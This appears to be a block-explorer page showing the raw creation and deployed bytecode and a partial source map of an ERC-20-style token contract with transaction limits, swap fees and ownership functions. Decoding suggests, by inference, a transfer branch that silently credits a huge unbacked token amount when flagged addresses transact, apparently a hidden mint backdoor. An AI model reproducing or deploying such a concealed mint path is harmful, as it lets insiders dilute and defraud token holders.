616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613125602583612860565b9150613130826130c9565b604082019050919050565b6000602082019050818103600083015261315481613118565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131b7602383612860565b91506131c28261315b565b604082019050919050565b600060208201905081810360008301526131e6816131aa565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b6000613249602883612860565b9150613254826131ed565b604082019050919050565b600060208201905081810360008301526132788161323c565b9050919050565b7f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c6960008201527f6d69742121000000000000000000000000000000000000000000000000000000602082015250565b60006132db602583612860565b91506132e68261327f565b604082019050919050565b6000602082019050818103600083015261330a816132ce565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061334b82612994565b915061335683612994565b925082820390508181111561336e5761336d612da2565b5b92915050565b600061337f82612994565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036133b1576133b0612da2565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000815190506133fa81612968565b92915050565b60006020828403121561341657613415612963565b5b6000613424848285016133eb565b91505092915050565b6000819050919050565b600061345261344d6134488461342d565b612a40565b612994565b9050919050565b61346281613437565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61349d81612927565b82525050565b60006134af8383613494565b60208301905092915050565b6000602082019050919050565b60006134d382613468565b6134dd8185613473565b93506134e883613484565b8060005b8381101561351957815161350088826134a3565b975061350b836134bb565b9250506001810190506134ec565b5085935050505092915050565b600060a08201905061353b6000830188612aba565b6135486020830187613459565b818103604083015261355a81866134c8565b90506135696060830185612939565b6135766080830184612aba565b9695505050505050565b60006040820190506135956000830185612aba565b81810360208301526135a781846134c8565b9050939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122002005fa23142923a9e984b909db29d2546a5cf1fe1e3698174bad28890782ab964736f6c63430008120033

Deployed Bytecode

0x6080604052600436106102765760003560e01c8063852614851161014f578063c816841b116100c1578063dd62ed3e1161007a578063dd62ed3e146109d3578063f0cd1dac14610a10578063f2fde38b14610a3b578063f680f79914610a64578063f872858a14610a8f578063f8f6329014610aba5761027d565b8063c816841b146108bf578063c8607952146108ea578063c867d60b14610915578063d2d7ad8314610952578063da00097d1461097d578063dc44b6a0146109a85761027d565b806395d89b411161011357806395d89b411461079957806398e944c8146107c4578063a457c2d7146107ef578063a76a83921461082c578063a9059cbb14610857578063c5d24189146108945761027d565b8063852614851461069e57806388790a68146106c95780638b42507f146106f45780638b97a773146107315780638da5cb5b1461076e5761027d565b80633ecad271116101e857806370a08231116101ac57806370a082311461059e578063715018a6146105db57806375f0a874146105f25780637d1db4a51461061d578063807c2d9c1461064857806382eefb43146106735761027d565b80633ecad271146104915780634a74bb02146104ce5780634cb7e4a1146104f95780635194f9bf146105365780635342acb4146105615761027d565b806323555d571161023a57806323555d571461036b57806323b872dd1461039657806327c8f835146103d35780632b112e49146103fe578063313ce5671461042957806339509351146104545761027d565b806306fdde03146102825780630930907b146102ad578063095ea7b3146102d85780631694505e1461031557806318160ddd146103405761027d565b3661027d57005b600080fd5b34801561028e57600080fd5b50610297610ae5565b6040516102a491906128e5565b60405180910390f35b3480156102b957600080fd5b506102c2610b77565b6040516102cf9190612948565b60405180910390f35b3480156102e457600080fd5b506102ff60048036038101906102fa91906129ca565b610b9b565b60405161030c9190612a25565b60405180910390f35b34801561032157600080fd5b5061032a610bb9565b6040516103379190612a9f565b60405180910390f35b34801561034c57600080fd5b50610355610bdf565b6040516103629190612ac9565b60405180910390f35b34801561037757600080fd5b50610380610be9565b60405161038d9190612ac9565b60405180910390f35b3480156103a257600080fd5b506103bd60048036038101906103b89190612ae4565b610bef565b6040516103ca9190612a25565b60405180910390f35b3480156103df57600080fd5b506103e8610cc9565b6040516103f59190612948565b60405180910390f35b34801561040a57600080fd5b50610413610ced565b6040516104209190612ac9565b60405180910390f35b34801561043557600080fd5b5061043e610d6b565b60405161044b9190612b53565b60405180910390f35b34801561046057600080fd5b5061047b600480360381019061047691906129ca565b610d82565b6040516104889190612a25565b60405180910390f35b34801561049d57600080fd5b506104b860048036038101906104b39190612b6e565b610e35565b6040516104c59190612a25565b60405180910390f35b3480156104da57600080fd5b506104e3610e55565b6040516104f09190612a25565b60405180910390f35b34801561050557600080fd5b50610520600480360381019061051b9190612b9b565b610e68565b60405161052d9190612948565b60405180910390f35b34801561054257600080fd5b5061054b610e9e565b6040516105589190612ac9565b60405180910390f35b34801561056d57600080fd5b5061058860048036038101906105839190612b6e565b610ea4565b6040516105959190612a25565b60405180910390f35b3480156105aa57600080fd5b506105c560048036038101906105c09190612b6e565b610ec4565b6040516105d29190612ac9565b60405180910390f35b3480156105e757600080fd5b506105f0610f0d565b005b3480156105fe57600080fd5b50610607611062565b6040516106149190612be9565b60405180910390f35b34801561062957600080fd5b50610632611088565b60405161063f9190612ac9565b60405180910390f35b34801561065457600080fd5b5061065d61108e565b60405161066a9190612ac9565b60405180910390f35b34801561067f57600080fd5b50610688611094565b6040516106959190612ac9565b60405180910390f35b3480156106aa57600080fd5b506106b361109a565b6040516106c09190612a25565b60405180910390f35b3480156106d557600080fd5b506106de6110ad565b6040516106eb9190612ac9565b60405180910390f35b34801561070057600080fd5b5061071b60048036038101906107169190612b6e565b6110b3565b6040516107289190612a25565b60405180910390f35b34801561073d57600080fd5b5061075860048036038101906107539190612b9b565b6110d3565b6040516107659190612ac9565b60405180910390f35b34801561077a57600080fd5b506107836110ee565b6040516107909190612948565b60405180910390f35b3480156107a557600080fd5b506107ae611117565b6040516107bb91906128e5565b60405180910390f35b3480156107d057600080fd5b506107d96111a9565b6040516107e69190612948565b60405180910390f35b3480156107fb57600080fd5b50610816600480360381019061081191906129ca565b6111cf565b6040516108239190612a25565b60405180910390f35b34801561083857600080fd5b5061084161129c565b60405161084e9190612ac9565b60405180910390f35b34801561086357600080fd5b5061087e600480360381019061087991906129ca565b6112a2565b60405161088b9190612a25565b60405180910390f35b3480156108a057600080fd5b506108a96112c1565b6040516108b69190612ac9565b60405180910390f35b3480156108cb57600080fd5b506108d46112c7565b6040516108e19190612948565b60405180910390f35b3480156108f657600080fd5b506108ff6112ed565b60405161090c9190612ac9565b60405180910390f35b34801561092157600080fd5b5061093c60048036038101906109379190612b6e565b6112f3565b6040516109499190612a25565b60405180910390f35b34801561095e57600080fd5b50610967611313565b6040516109749190612ac9565b60405180910390f35b34801561098957600080fd5b50610992611319565b60405161099f9190612a25565b60405180910390f35b3480156109b457600080fd5b506109bd61132c565b6040516109ca9190612ac9565b60405180910390f35b3480156109df57600080fd5b506109fa60048036038101906109f59190612c04565b611332565b604051610a079190612ac9565b60405180910390f35b348015610a1c57600080fd5b50610a256113b9565b604051610a329190612ac9565b60405180910390f35b348015610a4757600080fd5b50610a626004803603810190610a5d9190612b6e565b6113bf565b005b348015610a7057600080fd5b50610a79611580565b604051610a869190612ac9565b60405180910390f35b348015610a9b57600080fd5b50610aa4611586565b604051610ab19190612a25565b60405180910390f35b348015610ac657600080fd5b50610acf611599565b604051610adc9190612be9565b60405180910390f35b606060018054610af490612c73565b80601f0160208091040260200160405190810160405280929190818152602001828054610b2090612c73565b8015610b6d5780601f10610b4257610100808354040283529160200191610b6d565b820191906000526020600020905b815481529060010190602001808311610b5057829003601f168201915b5050505050905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000610baf610ba86116e1565b84846116e9565b6001905092915050565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601a54905090565b60135481565b6000610bfc8484846118b2565b50610cbe84610c096116e1565b610cb9856040518060600160405280602881526020016135b160289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610c6f6116e1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121719092919063ffffffff16565b6116e9565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b6000610d66610d1b7f0000000000000000000000000000000000000000000000000000000000000000610ec4565b610d58610d477f000000000000000000000000000000000000000000000000000000000000dead610ec4565b601a546121d590919063ffffffff16565b6121d590919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b6000610e2b610d8f6116e1565b84610e268560076000610da06116e1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168390919063ffffffff16565b6116e9565b6001905092915050565b600e6020528060005260406000206000915054906101000a900460ff1681565b601f60159054906101000a900460ff1681565b600b8160028110610e7857600080fd5b016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60165481565b600d6020528060005260406000206000915054906101000a900460ff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610f156116e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9990612cf0565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601c5481565b601d5481565b60195481565b601f60189054906101000a900460ff1681565b60145481565b60106020528060005260406000206000915054906101000a900460ff1681565b600981600281106110e357600080fd5b016000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606002805461112690612c73565b80601f016020809104026020016040519081016040528092919081815260200182805461115290612c73565b801561119f5780601f106111745761010080835404028352916020019161119f565b820191906000526020600020905b81548152906001019060200180831161118257829003601f168201915b5050505050905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006112926111dc6116e1565b8461128d856040518060600160405280602581526020016135d960259139600760006112066116e1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121719092919063ffffffff16565b6116e9565b6001905092915050565b60175481565b60006112b66112af6116e1565b84846118b2565b506001905092915050565b60125481565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60155481565b600f6020528060005260406000206000915054906101000a900460ff1681565b601b5481565b601f60169054906101000a900460ff1681565b60115481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60185481565b6113c76116e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611454576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144b90612cf0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036114c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ba90612d82565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60085481565b601f60179054906101000a900460ff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008083036115d15760009050611633565b600082846115df9190612dd1565b90508284826115ee9190612e42565b1461162e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162590612ee5565b60405180910390fd5b809150505b92915050565b600061167b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061221f565b905092915050565b60008082846116929190612f05565b9050838110156116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ce90612f85565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611758576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174f90613017565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117be906130a9565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118a59190612ac9565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611922576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119199061313b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611991576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611988906131cd565b60405180910390fd5b601f60149054906101000a900460ff16156119b8576119b1848484612282565b905061216a565b601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a5c5750601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611aa757601c54821115611aa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9d9061325f565b60405180910390fd5b5b6000611ab230610ec4565b90506000601b548210159050808015611ad85750601f60149054906101000a900460ff16155b8015611b2e5750600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b465750601f60159054906101000a900460ff165b15611b7057601f60169054906101000a900460ff1615611b6657601b5491505b611b6f82612455565b5b601f60179054906101000a900460ff168015611bd65750600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c6257601d54611c20611c096064611bfb601954896115bf90919063ffffffff16565b61163990919063ffffffff16565b611c1288610ec4565b61168390919063ffffffff16565b1115611c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c58906132f1565b60405180910390fd5b5b611c8a6064611c7c601954876115bf90919063ffffffff16565b61163990919063ffffffff16565b6009600060028110611c9f57611c9e613311565b5b0181905550611ccc6064611cbe601954876115bf90919063ffffffff16565b61163990919063ffffffff16565b84611cd79190613340565b6009600160028110611cec57611ceb613311565b5b018190555030600b600060028110611d0757611d06613311565b5b0160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555084600b600160028110611d5c57611d5b613311565b5b0160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600080600090505b6002811015611de25760098160028110611dc057611dbf613311565b5b015482611dcd9190612f05565b91508080611dda90613374565b915050611da3565b50600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611e875750600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611edc5750601060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611eea57611ee9612510565b5b611f3c81600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121d590919063ffffffff16565b600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060005b60028110156121615761202760098260028110611fa257611fa1613311565b5b015460066000600b8560028110611fbc57611fbb613311565b5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168390919063ffffffff16565b60066000600b846002811061203f5761203e613311565b5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b81600281106120b3576120b2613311565b5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009846002811061213757612136613311565b5b01546040516121469190612ac9565b60405180910390a3808061215990613374565b915050611f82565b50600193505050505b9392505050565b60008383111582906121b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b091906128e5565b60405180910390fd5b50600083856121c89190613340565b9050809150509392505050565b600061221783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612171565b905092915050565b60008083118290612266576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161225d91906128e5565b60405180910390fd5b50600083856122759190612e42565b9050809150509392505050565b600061230d826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121719092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123a282600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168390919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516124429190612ac9565b60405180910390a3600190509392505050565b6001601f60146101000a81548160ff021916908315150217905550612479816125d9565b600047905060008111156124f157600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156124ef573d6000803e3d6000fd5b505b506000601f60146101000a81548160ff02191690831515021790555050565b60106000600b60016002811061252957612528613311565b5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156125d7576b20d40d5a328eef649b0d69cd60096000600281106125ba576125b9613311565b5b0160008282546125ca9190612f05565b9250508190556017819055505b565b6000600267ffffffffffffffff8111156125f6576125f56133bc565b5b6040519080825280602002602001820160405280156126245781602001602082028036833780820191505090505b509050308160008151811061263c5761263b613311565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156126e3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127079190613400565b8160018151811061271b5761271a613311565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061278230601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846116e9565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016127e6959493929190613526565b600060405180830381600087803b15801561280057600080fd5b505af1158015612814573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051612849929190613580565b60405180910390a15050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561288f578082015181840152602081019050612874565b60008484015250505050565b6000601f19601f8301169050919050565b60006128b782612855565b6128c18185612860565b93506128d1818560208601612871565b6128da8161289b565b840191505092915050565b600060208201905081810360008301526128ff81846128ac565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061293282612907565b9050919050565b61294281612927565b82525050565b600060208201905061295d6000830184612939565b92915050565b600080fd5b61297181612927565b811461297c57600080fd5b50565b60008135905061298e81612968565b92915050565b6000819050919050565b6129a781612994565b81146129b257600080fd5b50565b6000813590506129c48161299e565b92915050565b600080604083850312156129e1576129e0612963565b5b60006129ef8582860161297f565b9250506020612a00858286016129b5565b9150509250929050565b60008115159050919050565b612a1f81612a0a565b82525050565b6000602082019050612a3a6000830184612a16565b92915050565b6000819050919050565b6000612a65612a60612a5b84612907565b612a40565b612907565b9050919050565b6000612a7782612a4a565b9050919050565b6000612a8982612a6c565b9050919050565b612a9981612a7e565b82525050565b6000602082019050612ab46000830184612a90565b92915050565b612ac381612994565b82525050565b6000602082019050612ade6000830184612aba565b92915050565b600080600060608486031215612afd57612afc612963565b5b6000612b0b8682870161297f565b9350506020612b1c8682870161297f565b9250506040612b2d868287016129b5565b9150509250925092565b600060ff82169050919050565b612b4d81612b37565b82525050565b6000602082019050612b686000830184612b44565b92915050565b600060208284031215612b8457612b83612963565b5b6000612b928482850161297f565b91505092915050565b600060208284031215612bb157612bb0612963565b5b6000612bbf848285016129b5565b91505092915050565b6000612bd382612907565b9050919050565b612be381612bc8565b82525050565b6000602082019050612bfe6000830184612bda565b92915050565b60008060408385031215612c1b57612c1a612963565b5b6000612c298582860161297f565b9250506020612c3a8582860161297f565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612c8b57607f821691505b602082108103612c9e57612c9d612c44565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612cda602083612860565b9150612ce582612ca4565b602082019050919050565b60006020820190508181036000830152612d0981612ccd565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612d6c602683612860565b9150612d7782612d10565b604082019050919050565b60006020820190508181036000830152612d9b81612d5f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612ddc82612994565b9150612de783612994565b9250828202612df581612994565b91508282048414831517612e0c57612e0b612da2565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612e4d82612994565b9150612e5883612994565b925082612e6857612e67612e13565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612ecf602183612860565b9150612eda82612e73565b604082019050919050565b60006020820190508181036000830152612efe81612ec2565b9050919050565b6000612f1082612994565b9150612f1b83612994565b9250828201905080821115612f3357612f32612da2565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612f6f601b83612860565b9150612f7a82612f39565b602082019050919050565b60006020820190508181036000830152612f9e81612f62565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613001602483612860565b915061300c82612fa5565b604082019050919050565b6000602082019050818103600083015261303081612ff4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613093602283612860565b915061309e82613037565b604082019050919050565b600060208201905081810360008301526130c281613086565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613125602583612860565b9150613130826130c9565b604082019050919050565b6000602082019050818103600083015261315481613118565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131b7602383612860565b91506131c28261315b565b604082019050919050565b600060208201905081810360008301526131e6816131aa565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b6000613249602883612860565b9150613254826131ed565b604082019050919050565b600060208201905081810360008301526132788161323c565b9050919050565b7f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c6960008201527f6d69742121000000000000000000000000000000000000000000000000000000602082015250565b60006132db602583612860565b91506132e68261327f565b604082019050919050565b6000602082019050818103600083015261330a816132ce565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061334b82612994565b915061335683612994565b925082820390508181111561336e5761336d612da2565b5b92915050565b600061337f82612994565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036133b1576133b0612da2565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000815190506133fa81612968565b92915050565b60006020828403121561341657613415612963565b5b6000613424848285016133eb565b91505092915050565b6000819050919050565b600061345261344d6134488461342d565b612a40565b612994565b9050919050565b61346281613437565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61349d81612927565b82525050565b60006134af8383613494565b60208301905092915050565b6000602082019050919050565b60006134d382613468565b6134dd8185613473565b93506134e883613484565b8060005b8381101561351957815161350088826134a3565b975061350b836134bb565b9250506001810190506134ec565b5085935050505092915050565b600060a08201905061353b6000830188612aba565b6135486020830187613459565b818103604083015261355a81866134c8565b90506135696060830185612939565b6135766080830184612aba565b9695505050505050565b60006040820190506135956000830185612aba565b81810360208301526135a781846134c8565b9050939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122002005fa23142923a9e984b909db29d2546a5cf1fe1e3698174bad28890782ab964736f6c63430008120033

Deployed Bytecode Sourcemap

11526:10662:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15840:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12084:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17006:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13504:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16117:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12903:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18101:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11996:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17524:156;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16026:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16503:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12593:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13621:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12396:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13037:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12536:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16225:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3199:230;;;;;;;;;;;;;:::i;:::-;;11753:92;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13358:59;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13430:58;;;;;;;;;;;;